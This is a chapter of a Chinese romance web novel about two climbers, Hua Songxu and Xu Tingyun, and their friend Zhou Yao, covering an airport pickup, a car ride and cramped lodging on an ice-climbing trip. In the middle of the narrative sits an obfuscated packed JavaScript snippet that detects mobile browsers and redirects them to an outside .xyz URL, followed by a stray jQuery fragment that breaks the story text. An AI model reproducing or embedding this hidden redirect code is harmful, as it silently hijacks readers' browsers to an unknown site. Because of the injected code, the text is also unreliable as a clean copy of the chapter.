华松栩被徐汀云鸽了整整五天。说好的初十赶到,元宵节那天才姗姗来迟。
期间电话倒是不断,早中晚定时定点问候,只是她复健训练一忙就顾不上,只能等睡前才回过去。两人会聊聊白天做了什么事又遇见了什么人,然后自然而然的互道晚安。
“你那迷弟几点落地?”坐在副驾的周耀悠悠转醒。
华松栩瞥了眼手机,“七点十分。”
周耀探头一看,“才六点五十。”
“睡足了?”华松栩睨他。
“还成。”周耀如实道。
华松栩摁下车门解锁键,毫不留情道:“下车,接你的宝贝学生去。”
“……你呢?”
“困了,要睡会。”
赶走周耀,华松栩放倒座椅闭目养神。随着训练强度逐级上涨,肌纤维增大,退化的肌群开始向巅峰时期靠拢,代价就是酸痛疲乏。是以她一不留神,还真睡着了。
徐汀云跟着周耀走到停车场,一眼看到驾驶座上安静的睡颜。
“她最近没休息好吗?”他驻足,眉心拧成一个川字。
周耀挠头,“休息……应该还行吧?就是练得有点猛,那倔脾气谁都劝不住。”
徐汀云发自内心地叹气,把行李放到后备箱后折回来,敲了敲窗才拉开门。
“来了?”华松栩一睁眼就看到徐汀云那张风尘仆仆的俊脸,旋即蛄蛹着伸展,“我怎么睡着了……”
“来了。”徐汀云笑了下,冲她伸手,“你去副驾继续睡,我开。”
华松栩醒过神来,调直椅背,“不用,你早上三四点就起床了吧?去后面休息。”
“我在飞机上睡过了,这会精神得很。”徐汀云佯装不快,“说好做不要钱的代驾师傅,现在怎么反悔了?”
已经坐上副驾很久并被彻底忽视的周耀翻了白眼,“我开,我开!我老周吃饱喝足能干活,我开行了吧!”
华松栩想都不想道:“行。”
周耀瞪她,后者耸耸肩浑不在意,只得去瞪徐汀云。
小徐正憋笑呢,对上周耀幽怨的目光赶紧收敛神色,礼貌又乖巧道:“谢谢周哥。”
华松栩撑着徐汀云伸过来的手臂跳下车,察觉掌心触感不对,蹙眉问:“穿这么薄?”
“不冷。”徐汀云笑。
华松栩又捏了捏,确定冲锋衣里只有抓绒,“蓉城这几天降温,羽绒服穿上。”
“好,听你的。”徐汀云应,心里甜甜的,嘴上也甜甜的。
受到暴击的周耀绕过车头,推了徐汀云一把,“你坐后面去!”
谁料,华松栩陪徐汀云一起坐上后座,“老周你好好开。”
周耀忿忿道:“真当我是司机呢?”
然后老周就又被忽视了。
“脸怎么回事?”华松栩瞥见徐汀云下颌处可疑的痕迹,“这是指甲刮出来的吗?”
徐汀云摸了摸,“有吗?没感觉。”
华松栩直接捏住他的下巴,凑上去仔细检查,又在另一侧脸颊发现一处很淡的淤青,“你到底干什么去了?”
徐汀云对这种亲密的小动作很受用,喜滋滋的,“京市下雪,我出门扔垃圾摔了一跤,快好了。”
华松栩把他的脑袋扒拉回去,重新凝视那道指痕,“这个呢?”
徐汀云见她满脸狐疑,含笑问:“怀疑我?”
华松栩神色一僵。
徐汀云又用下巴蹭她的手,眼里亮晶晶,“是不是怀疑我?”
得寸进尺是不可取的。小徐被重重一掌推开,脑门嘣一声磕在玻璃上。
“嘶!”徐汀云赶紧揉脑袋,揉着揉着忽然觉得似曾相识,“到京市那天的出租上,你是不是趁我睡着虐待我了?”
“……”被戳破的华松栩清清嗓子,“我是那样的人吗?”
“当然不是。”看穿一切的小徐嗓音温柔宠溺,“你最好了。”
“……”
目视前方的称职司机周耀忍无可忍,怒拍方向盘,“你俩!加起来五十多岁的人了幼稚不幼稚!”
华松栩选择性听不见,靠着椅背合上眼。
徐汀云扶住前排椅背,小心探头,“周哥,中午我请您吃火锅?”
“光请我?”周耀语气酸溜溜的。
徐汀云是个双商在线的活络人,和谁都能友好相处,但能让他耐心哄的只有一个。
所以小徐假装没听见,用胳膊肘碰华松栩的胳膊肘,低声询问:“吃火锅行吗?”
“行。”
“……你怎么不问我行不行?!”
“我听阿栩的。”徐汀云用最谦逊的语气说出最冰冷的话。
华松栩闭着眼都能想到周耀那气呼呼的样子,不由勾唇。
这样的日子,很不赖。
徐汀云休整了一天后,三人驱车小林沟,奔赴即将结束的攀冰季。一如既往,周耀打头,徐汀云开牧马人在后,车主人坐在副驾哈欠连天。
徐汀云无奈,“怎么每天都这么缺觉?”
“等到地方,你就知道提前攒觉有多重要。”
白天在寒风瑟瑟中攀爬冰壁冰瀑,晚上在隔音极差的木屋艰难入眠,条件就是这么的恶劣。没办法,二月下旬气温整体回暖,适合攀冰的地方骤减,小林沟已经是最佳选择。
徐汀云没经验,正想问原因,忽然闷声咳嗽了起来。
华松栩蹙眉,“怎么回事?着凉了?”
徐汀云抬手掩唇,“咳咳咳——没、没事咳咳咳!”
眼看越咳越厉害,华松栩赶紧拧开水杯凑到他唇边,“喝一点缓缓。”
徐汀云抬手要接却被挡开,最终就着她的手喝了几大口,这才顺过气。
“谢谢。”他清嗓子,“没着凉,有点上火。”
华松栩将杯子放回中控,不解道:“这么冷的天怎么上火?”
“体质问题。”徐汀云顺着她的动作瞥了眼,这一看才发现自己用的竟然是华松栩的保温杯。
保温杯,喝水的保温杯……
这不就是——间接那什么!
小徐把方向盘攥得死紧,又红温了。
在他计划之外的激情表白后,华松栩的表现堪称冷静。不仅没有恶狠狠的拒绝,连提都没再提,好像根本没这回事。
比如,之前撞见他洗澡还会害羞,现在只会用冷冰冰的眼神上下打量一番,再轻飘飘移开视线。
又比如,自然地用她的保温杯给自己喂水,在高速上也没法清洗,万一她用他用过的杯子喝了的话——
华松栩也清了清嗓子,打开杯盖,慢悠悠地抿了好几口。
她喝了!喝了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403948|163571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徐汀云目不斜视,余光都不敢再看,车开得依然挺稳,脑海中却在天人交战。
她到底什么意思?是对自己有一点点好感呢,还是完全没把自己当个男人?说有好感吧,可她好坦然,只有心里没小九九的人才坦然。但说完全没把自己当男人吧,她对自己又和对其他人都不一样。
感情这东西太复杂了,小徐弄不懂。但凭之前华松栩的迟钝来看,大概率还是后者。毕竟看似亲昵的行为,都是在她情绪不太好的时候,那种情况想让人陪伴很正常,绝不能算作有好感的证据。
很有自知之明的小徐捏捏后颈压下失落,将思绪聚焦在自己。现在的他没有和她比肩的资格,所以必须足够努力。摆在眼前的就是下个月的攀冰赛,他悄悄为自己定下了目标。
下午三点下高速,沿着国道开了两小时,又过了一个多小时的颠簸土路,终于抵达了离攀冰基地最近的客栈。
掀开帘子,炉子熊熊燃烧的热浪裹挟闹轰轰的人声袭来,一下就从孤冷的冬季迈入另一个季节。
华松栩把包放在通铺上,惊讶道:“最近这么多人?”
疑问被谈笑声淹没,自然无人回答。
徐汀云小心地错开坐在板凳上的冰友,凑到她耳边问:“这么满,还能住下吗?”
华松栩抬手一指,扯嗓子道:“老周去问了!”
周耀轻车熟路地穿过连廊,没一会就折了回来,冲俩人招手。
华松栩正要背包,却被徐汀云抢先。只见他一手提着48L塞满的大包,肩上背着自己的50L大包,还顾得上护着她穿梭人群。
终于挤到门边,华松栩问:“怎么样?”
周耀晃了晃手里的钥匙,“一个好消息和一个坏消息。”
华松栩一想便知,“就剩一间了?”
“其他都被预定了,只有一间一张床空着。”周耀拍拍徐汀云的肩膀,“咱俩今天得打地铺了。”
“没问题,总比荒郊野岭扎营强。”徐汀云乐观道。
周耀和华松栩闻言,不约而同投来怜悯的目光。
徐汀云:?
从狭窄的室外铁制楼梯爬至三层,徐汀云已经感觉不妙。当正式踏入房间时,他终于确切地明白了周耀的意思。
怎么说呢?就是还不如睡帐篷。
在这十平米转个身都难的房间里,靠墙摆了张1.2m的单人床,床尾有一排矮柜,左侧靠门是只能容纳一人的卫生间。
周耀比划着床位和柜子之间的距离以及柜子到门口的距离,“为保护新人,小徐先选今天睡哪块风水宝地。”
徐汀云取下绑在包底的蛋巢垫,放地下一看,因为过于无语而笑出声,“所以要么睡卫生间门口,要么睡床缝。”
周耀打了个响指,“概括精准。”
华松栩说:“我在车上睡了很久,不困。今天你俩挤挤一起睡。”
“不可能。”徐汀云拒绝。
“轮换来。万一一直没空房,难道你俩一直睡地下?”
毕竟还有周耀,徐汀云退了一步,“那就周哥一天你两天,我睡地下。”
华松栩失笑,“玩户外哪能不吃苦?”
徐汀云摁着华松栩在床沿坐定,黑眸里满是执拗。
“能力之外的另说。但让我躺床上看你睡地下,我做不到。”